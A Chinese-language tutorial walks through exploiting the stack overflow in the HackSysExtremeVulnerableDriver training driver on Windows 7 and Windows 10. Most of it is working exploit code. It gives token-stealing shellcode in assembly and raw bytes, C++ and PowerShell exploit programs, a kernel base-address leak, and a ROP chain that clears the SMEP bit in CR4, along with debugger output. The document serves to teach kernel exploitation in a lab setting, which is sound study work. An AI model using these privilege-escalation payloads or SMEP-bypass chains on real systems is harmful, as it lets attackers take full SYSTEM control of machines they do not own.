栈溢出是一个最基本的漏洞利用方式,这里我们利用这个作为入门学习,了解一下在 Windows Kernel 下触发栈溢出时,与User Mode的不同之处。
漏洞程序
找到之前准备好的HackSysExtremeVulnerableDriver.sys
,里面有一个准备好的带有栈溢出的函数,叫做StackOverflowIoctlHandler
。我们通过逆向,找到对应触发函数的IOCTL
:
记录下此时的 IOCTL Code 为 222003h。之后我们来看这个程序的内部逻辑:
int __stdcall StackOverflowIoctlHandler(PIRP a1, PIO_STACK_LOCATION a2)
{
int v2; // ecx
HANDLE v3; // edx
v2 = 0xC0000001;
v3 = a2->Parameters.SetFile.DeleteHandle;
if ( v3 )
v2 = TriggerStackOverflow(v3, a2->Parameters.Create.Options);
return v2;
}
PS:这类IOCTL Handle Routine
的传入参数类型是固定的,一定是第一个为PRIR
,第二个为PIO_STACK_LOCATION
,如果没有识别出参数的话,可以直接指定参数类型
此时发现,这个a2
好像识别的有一点问题,从函数名也能猜到,程序逻辑本身应该是一个读取Buffer
的逻辑,不应该和SetFile
这类文件操作相关,所以这里推测,应该是PIO_STACK_LOCATION
结构体中存在union
结构,所以此时识别的结构体出现了错误。这个时候回退到Disassembly
的界面,然后在参数的位置处右键,选择Structure Offset
,就能够修改当前结构体识别的类型。
这里我们修改成和DeviceIoControl
相关的DeviceIoControl.Type3InputBuffer
,下面的参数也修改成DeviceIoControl.InputBufferLength
,整个逻辑就变成了
int __stdcall StackOverflowIoctlHandler(PIRP a1, _IO_STACK_LOCATION *a2)
{
int v2; // ecx
PVOID Buffer; // edx
v2 = 0xC0000001;
Buffer = a2->Parameters.DeviceIoControl.Type3InputBuffer;
if ( Buffer )
v2 = TriggerStackOverflow(Buffer, a2->Parameters.DeviceIoControl.InputBufferLength);
return v2;
}
此时逻辑就清晰了很多:读取IO_STACK_LOCATION
指针指向的Buffer内容,并且将Buffer的和Buffer的长度传入到触发函数中。并且触发函数中的内容如下:
int __stdcall TriggerStackOverflow(void *Address, size_t MaxCount)
{
char Dst; // [esp+14h] [ebp-81Ch]
CPPEH_RECORD ms_exc; // [esp+818h] [ebp-18h]
memset(&Dst, 0, 0x800u);
ms_exc.registration.TryLevel = 0;
ProbeForRead(Address, 0x800u, 4u);
DbgPrint("[+] UserBuffer: 0x%p\n", Address);
DbgPrint("[+] UserBuffer Size: 0x%X\n", MaxCount);
DbgPrint("[+] KernelBuffer: 0x%p\n", &Dst);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", 2048);
DbgPrint("[+] Triggering Stack Overflow\n");
memcpy(&Dst, Address, MaxCount);
return 0;
}
简单介绍一下内核函数ProbeForRead
:
void ProbeForRead(
const volatile VOID *Address,
SIZE_T Length,
ULONG Alignment
);
函数能够检查当前的地址是否属于用户态(访问地址是否越界),并且检查当前的地址是否是按照第三个参数要求的 Alignment 进行对齐。然后就会将当前传入的Buffer
按照Buffer本身的MaxCount
拷贝到栈上,从而造成栈溢出。
利用分析
整个逻辑是分析清楚了:只要使用DeviceIoControl
从用户端这边发送请求,并且使用的是Buffer
,而且大小超过了0x81c
,就会发生栈溢出,造成返回值被劫持。
提权相关
单纯劫持返回值还不够,因为内核态并没有类似于用户态中的system
这类方便的劫持函数。在内核态实现劫持,根据平台的不同,会使用的不同的劫持方式
WIN7
在Win7阶段,内核态并没有做过多的限制,所以可以在内核态执行用户态的程序。那么如果劫持了返回值,那么便是可以运行由我们自己申请的地址空间上的shellcode。一般的逻辑如下:
首先在Windows操作系统中,所有的东西都被视为对象,每一个对象都有一个安全描述符(security descriptors)(长得有点像(A;;RPWPCCDCLCRCWOWDSDSW;;;DA)
这样的)其在内存中存储的形式通常为一个token。它会描述当前进程的所有者,以及其的相关权限,包括对文件的操作等等。这里最高的权限就是NT AUTHORITY\SYSTEM
,系统权限拥有对所有文件的任意权力(相当于是root)。所以一般的提权思路就是:
- 遍历当前所有进程
- 找到当前进程中的系统进程(通常来说进程号4的进程就是系统进程啦)
- 将其的安全描述符token复制到当前进程的安全描述符中,即可完成提权
能够找到的payload如下
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
; Kernel Recovery Stub
xor eax, eax ; Set NTSTATUS SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
EXP实现
内核态的通信和用户态不太一样。看过的教材中有使用C语言直接编译exe的,也有使用python/powershell调用库进行攻击的。于是这里打算介绍一下最普通的使用C语言的攻击,以及最近比较流行的使用powershell进行的攻击(这一类似乎被称之为fileless attack)
C语言
通讯准备
首先要能够实现最基本的通信,使用C(Cpp)的话,需要直接调用Windows系列的API对文件进行操作,如下:
#include "pch.h"
#include <iostream>
#include <Windows.h>
#define DEVICE_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
HANDLE GetDeviceHandle() {
HANDLE hRet = NULL;
hRet = CreateFile(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL
);
if (hRet == INVALID_HANDLE_VALUE) {
std::cout << "Error open Device with error code " << GetLastError() << std::endl;
}
return hRet;
}
// Just Communicate with Driver
VOID TriggerStackOverFlow(DWORD dwCTLCode) {
HANDLE hDev = GetDeviceHandle();
if (!hDev)
return;
std::cout << "We Get handle is :" << std::hex << hDev << std::endl;
DWORD dwSize = 0x818;
DWORD dwRetSize = 0;
CHAR *Buffer = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
RtlFillMemory(Buffer, dwSize, 'A');
OutputDebugString(L"[+] =========== Kernel Mode =============== [+]");
DeviceIoControl(hDev, dwCTLCode, Buffer, dwSize, NULL, 0, &dwRetSize, NULL);
OutputDebugString(L"[+] =========== IOCTL Finish =============== [+]");
std::cout << "Finish Send IOCTL" << std::endl;
HeapFree(GetProcessHeap(), 0, Buffer);
Buffer = NULL;
}
int main()
{
std::cout << "[+] Exerciese: Stack Overflow\n";
TriggerStackOverFlow(0x222003);
}
提权攻击(Win7)
由于Win7上暂时没有太多的防护,所以可以直接使用拷贝token的方式进行提权。这里直接通过计算好返回值所需要的padding,然后让返回的地址跳转到我们自己申请的内存空间上来实现攻击。不过这里要考虑一件事情:以前我们都是直接弹出一个cmd结束攻击,然而提权攻击却不能只弹出一个cmd就完成攻击,这意味着类似BufferOverflow这类攻击如果将栈的内容进行了修改之后,我们需要有一个防止系统发现栈被破坏的操作。为了实现这一点,我们需要先观察一下栈中的内容:
eax=00000000 ebx=9bf375f0 ecx=00000000 edx=00000000 esi=c00000bb edi=9bf37580
eip=9ddf4dde esp=a36bda14 ebp=a36bda14 iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000286
HackSysExtremeVulnerableDriver!StackOverflowIoctlHandler+0x20:
9ddf4dde 5d pop ebp; ret 8
1: kd> ddp esp
a36bda14 a36bda30 ;上一个栈的ebp
a36bda18 9ddf42d3 ;函数返回值,即将被我们劫持
a36bda1c 9bf37580 ;
a36bda20 9bf375f0
a36bda24 00060000 ;ret之后,esp实际指向的位置
a36bda28 a79efa88
a36bda2c b01a6b0e
a36bda30 a36bda4c ;函数 StackOverflowIoctlHandler 保存的的ebp
a36bda34 81a3f958 ;函数 StackOverflowIoctlHandler 保存的返回值
a36bda38 a79efa88 00b80003
a36bda3c 9bf37580 00940006
在距离返回值地址的0x18的位置上,正好有上一个函数的返回地址,所以当我们劫持了这个函数返回值的时候,在shellcode的末尾,我们可以加上一些额外的指令来实现恢复栈
xor eax, eax ;伪装返回值
add esp, 12 ;将栈调整到 StackOverflowIoctlHandler 的位置上
pop ebp
ret 8 ;这个地方照着 TriggerStackOverFlow 的结尾汇编写
这里我们参考HEVD给出的参考答案:
#include "pch.h"
#include "payload.h"
#include <iostream>
#include <Windows.h>
#define DEVICE_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
; Kernel Recovery Stub
xor eax, eax; Set NTSTATUS SUCCEESS
add esp, 12; Fix the stack
pop ebp; Restore saved EBP
ret 8; Return cleanly
}
}
HANDLE GetDeviceHandle() {
HANDLE hRet = NULL;
hRet = CreateFile(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL
);
if (hRet == INVALID_HANDLE_VALUE) {
std::cout << "Error open Device with error code " << GetLastError() << std::endl;
}
return hRet;
}
// Just Communicate with Driver
VOID TriggerStackOverFlow(DWORD dwCTLCode) {
HANDLE hDev = GetDeviceHandle();
if (!hDev)
return;
std::cout << "We Get handle is :" << std::hex << hDev << std::endl;
DWORD dwSize = 0x824;
DWORD dwRetSize = 0;
PVOID ExpAddress = &TokenStealingPayloadWin7;
PVOID RetAddress = NULL;
CHAR *Buffer = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
RtlFillMemory(Buffer, dwSize, 'A');
// calculate ret address
RetAddress = &Buffer[0x820];
*(PULONG)RetAddress = (ULONG)ExpAddress;
OutputDebugString(L"[+] =========== Kernel Mode =============== [+]");
DeviceIoControl(hDev, dwCTLCode, Buffer, dwSize, NULL, 0, &dwRetSize, NULL);
OutputDebugString(L"[+] =========== IOCTL Finish =============== [+]");
std::cout << "Finish Send IOCTL" << std::endl;
HeapFree(GetProcessHeap(), 0, Buffer);
Buffer = NULL;
}
int main()
{
std::cout << "[+] Exerciese: Stack Overflow\n";
TriggerStackOverFlow(0x222003);
}
提权攻击(Win10)
然而,如果用上述exp的话,似乎并没有那么顺利。我们调试可以看到如下结果:
HackSysExtremeVulnerableDriver!TriggerStackOverflow+0xc8:
9ddf4eaa c9 leave
9ddf4eab c20800 ret 8
;如果从这里执行下去的话,会看到如下的指令
1: kd> t
00f214b0 53 push ebx
1: kd> u 00f214b0
00f214b0 53 push ebx
00f214b1 56 push esi
00f214b2 57 push edi
00f214b3 60 pushad
00f214b4 33c0 xor eax,eax
00f214b6 648b8024010000 mov eax,dword ptr fs:[eax+124h]
00f214bd 8b4050 mov eax,dword ptr [eax+50h]
00f214c0 8bc8 mov ecx,eax
乍一看好像是成功的,但是如果让程序继续执行的话就会爆出如下的错误:
1: kd> t
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x000000fc
(0x00F214B0,0x25EEE125,0xA37449A0,0x80000005)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
这个错误码的意思是ATTEMPTED EXECUTE ON NOEXECUTE MEMORY
,因为从Win 8.1 开始,Windows 就有了一种新的保护措施,叫做Supervisor Mode Execution Prevention(SMEP)
。在这个保护下,不能在ring 0 的环境中执行 ring 3的代码。到了这个时候,就需要使用一些特殊的手段关闭这个特性。最常见的手段就是利用ROP攻击,修改cr4
寄存器内容。一个常见的函数就是:
.text:00401000
...
.text:0048BF1D pop eax
.text:0048BF1E retn
KeFlushCurrentTb
.text:0057DF86 mov cr4, eax
.text:0057DF89 retn
; 这里用IDA观察有一个bug(?),内存中的一些值没有按照真正的值进行映射(也可能是相对偏移的锅?)然后导致一些数据的位置不对。。。最后的偏移量需要动态调试得到
利用这个ROP,让RCX赋值为CR4。不过这里注意一点,由于这里使用的,此时如果使用IDA观察的话,需要知道当前段映射的真正偏移量。这个可以通过观察如下的特征知道:
.text:00401000 ; Section 1. (virtual address 00001000)
.text:00401000 ; Virtual size : 00295B24 (2710308.)
.text:00401000 ; Section size in file : 00295C00 (2710528.)
每个段开头都会有一个virtual address
,这个值表示的是当前段会映射的地址,具体计算方式为real_address = image_base_address + virtual_address
。也就是说此时的.text
段在内存中的真正的地址为:real_text = image_base_address + 0x1000
然后我们需要观察cr4此时的正确的值。首先我们找到储了问题时的cr4:
For analysis of this file, run !analyze -v
nt!RtlpBreakWithStatusInstruction:
81b66484 cc int 3
1: kd> r cr4
cr4=001406e9
上网查找可知,第20bit为1表示的是SMEP打开(记得从低位往高位数,并且第一位数字是第0bit,第二位数字是第1bit),那么我们只需要将这一bit置0,即可以将这种防护关闭,此时也就是将值改成0x0406e9
。
有了ROP,那么我们就需要一个泄露内核地址的途径。这里有两种不同的方式,一个叫做:EnumDrivers
的API,另一种是利用NtQueryInformationSystem
的方式获取。前者是官方给出的API,通过调用直接获取地址,而后者是则是通过逆向分析+动态调试,验证可知当前的地址空间上存放的是ntoskrl.exe
的基地址。
前者直接就是一个API:
BOOL EnumDeviceDrivers(
LPVOID *lpImageBase,
DWORD cb,
LPDWORD lpcbNeeded
);
并且据观察,返回的地址数组中lpImageBase
,第一个就是ntoskrl.exe
的基地址。不过使用这个方法的时候,需要用到管理员权限。
这里打算用第一种方法实现地址泄露,第二种攻击方法参考https://www.anquanke.com/post/id/173144
这里贴出用NtQueryInformationSystem
的exp
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _ROP {
PUCHAR PopRcxRet;
PUCHAR Cr4RegValue;
PUCHAR MovCr4EcxRet;
} ROP, *PROP;
typedef NTSTATUS(NTAPI *_NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
__int64* GetKernelBase()
{
DWORD len;
PSYSTEM_MODULE_INFORMATION ModuleInfo;
__int64 *kernelBase = NULL;
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
ModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!ModuleInfo)
{
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, len, &len);
kernelBase = (__int64*)ModuleInfo->Module[0].ImageBase;
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return kernelBase;
}
回到正文,此时代码修改如下:
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
; Kernel Recovery Stub
xor eax, eax; Set NTSTATUS SUCCEESS
add esp, 0x1c; Fix the stack
pop ebp; Restore saved EBP
ret 8; Return cleanly
}
}
// Just Communicate with Driver
VOID TriggerStackOverFlow(DWORD dwCTLCode) {
HANDLE hDev = GetDeviceHandle();
if (!hDev)
return;
std::cout << "We Get handle is :" << std::hex << hDev << std::endl;
DWORD dwSize = 0x824 + 0x4/*pop ecx*/+ 0x4 * 2/*padding for esp*/+ 0x4/*ecx real value*/ + 0x4/*mov cr4 */;
DWORD dwRetSize = 0;
PVOID ExpAddress = &TokenStealingPayloadWin7;
PVOID RetAddress = NULL;
CHAR *Buffer = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
// prepare ROP
DWORD dwBaseAddress = LeakNtoskrlBaseAddr();
std::cout << "Leak Device Address " << std::hex << dwBaseAddress << std::endl;
// get ROP address
DWORD dwSegBaseAddr = 0x00401000;
DWORD dwSegOffset = 0x1000;
DWORD dwRealPOPECX, dwBasePOPEAX = 0x0048BF1D;
DWORD dwRealMOVCR4, dwBaseMOVCR4 = 0x0057DF86;
dwRealMOVCR4 = dwBaseMOVCR4 - dwSegBaseAddr + dwBaseAddress + dwSegOffset;
dwRealPOPECX = dwBasePOPEAX - dwSegBaseAddr + dwBaseAddress + dwSegOffset;
std::cout << "[+] pop ecx is " << std::hex << dwRealPOPECX << std::endl;
std::cout << "[+} mov cr4 is " << std::hex << dwRealMOVCR4 << std::endl;
puts("[+] Begin to attack");
getchar();
// write it to attack buffer
RtlFillMemory(Buffer, dwSize, 'A');
RetAddress = &Buffer[0x820];
*(PULONG)RetAddress = (ULONG)dwRealPOPECX;
RetAddress = &Buffer[0x82c];
*(PULONG)RetAddress = (ULONG)0x406e9;
RetAddress = &Buffer[0x830];
*(PULONG)RetAddress = (ULONG)dwRealMOVCR4;
RetAddress = &Buffer[0x834];
*(PULONG)RetAddress = (ULONG)ExpAddress;
OutputDebugString(L"[+] =========== Kernel Mode =============== [+]");
DeviceIoControl(hDev, dwCTLCode, Buffer, dwSize, NULL, 0, &dwRetSize, NULL);
OutputDebugString(L"[+] =========== IOCTL Finish =============== [+]");
std::cout << "Finish Send IOCTL" << std::endl;
HeapFree(GetProcessHeap(), 0, Buffer);
Buffer = NULL;
}
不过这里由于引入了ROP,这里需要重新讨论一下栈的地址。
此时->
指向的是之后会修改成的内容。由于加入了ROP,导致原先利用的返回值会被覆盖掉,所以这里需要重新调整返回值,让esp在调用exp的地址后,加上0x1c,让其跳转到nt!IofCallDriver
的返回值,从而恢复调用栈。
Powershell版本
本质上差不多,不过这边使用的是Powershell下的编程:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD2
{
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(
IntPtr ptrAddress,
uint dwSize,
UInt32 AllocationType,
UInt32 Protext
);
[DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesireAccess,
UInt32 dwSharingMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile
);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("psapi")]
public static extern bool EnumDeviceDrivers(
[MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] UInt32[] ddAddresses,
UInt32 arraySizeBytes,
[MarshalAs(UnmanagedType.U4)] out UInt32 bytesNeeded
);
}
"@
Function LeakBaseAddress(){
$dwByte = 0
$status=[bool] [EVD2]::EnumDeviceDrivers(0, 0, [ref]$dwByte)
if(!$status){
echo $("[*] Unable to enum device.... with error 0x{0:x}`n" -f [EVD2]::GetLastError())
}
$ptrAddress = [Uint32[]](9)*0x1000
$status=[bool] [EVD2]::EnumDeviceDrivers([UInt32[]]$ptrAddress, $dwByte+10, [ref]$dwByte)
# echo $("Address is {0:x}" -f $ptrAddress[0])
return $ptrAddress[0]
}
$hDevice = [EVD2]::CreateFile("\\.\HackSysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if($hDevice -eq -1){
echo "`n[*] Unbale to open this driver...`n"
Return
}
echo "`[+] The Device object is $($hDevice) "
# then we need create an array with buffer
[Int32]$dwSize = 0x820
# +0x4+0x8+0x4+0x4
# alloc buffer for shellcode
$Shellcode = [Byte[]] @(
#---[Setup]
0x53, # push ebx
0x56, # push esi
0x57, # push edi
0x60, # pushad
0x33, 0xC0, # xor eax, eax
0x64, 0x8B, 0x80, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x80, 0x80, 0x00, 0x00, 0x00, # mov eax, [eax + EPROCESS_OFFSET]
0x8B, 0xC8, # mov ecx, eax (Current _EPROCESS structure)
# 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xFC, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xFC, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0x33, 0xC0, # NTSTATUS -> STATUS_SUCCESS :p
0x83, 0xc4, 0x1c, # add esp, 1ch
0x5D, # pop ebp
0xC2, 0x08, 0x00 # ret 8
)
[IntPtr]$Pointer = [EVD2]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())"
$leakAddress = LeakBaseAddress
echo $("Address is {0:x}" -f $leakAddress)
$dwSegBaseAddr = 0x401000
$dwSegOffset = 0x1000
$dwBasePOPEAX = 0x0048BF1D
$dwBaseMOVCR4 = 0x0057DF86
$dwRealMOVCR4 = $dwBaseMOVCR4 - $dwSegBaseAddr + $leakAddress + $dwSegOffset
$dwRealPOPEAX = $dwBasePOPEAX - $dwSegBaseAddr + $leakAddress + $dwSegOffset
$dwCR4 = 0x406e9
echo "[+] pop eax is $($dwRealPOPEAX) `n[+] mov cr4 is $($dwRealMOVCR4)`n"
# finally we write buffer
$Buffer = [Byte[]](0x41)*$dwSize + [System.BitConverter]::GetBytes($dwRealPOPEAX) + [Byte[]](0x41)*8 + [System.BitConverter]::GetBytes($dwCR4) + [System.BitConverter]::GetBytes($dwRealMOVCR4) + $EIP
[EVD2]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null
攻击结果
不知道为啥,提权有时候会失败,不过失败了似乎也没有进入蓝屏的样子…
使用powershell进行攻击的结果如下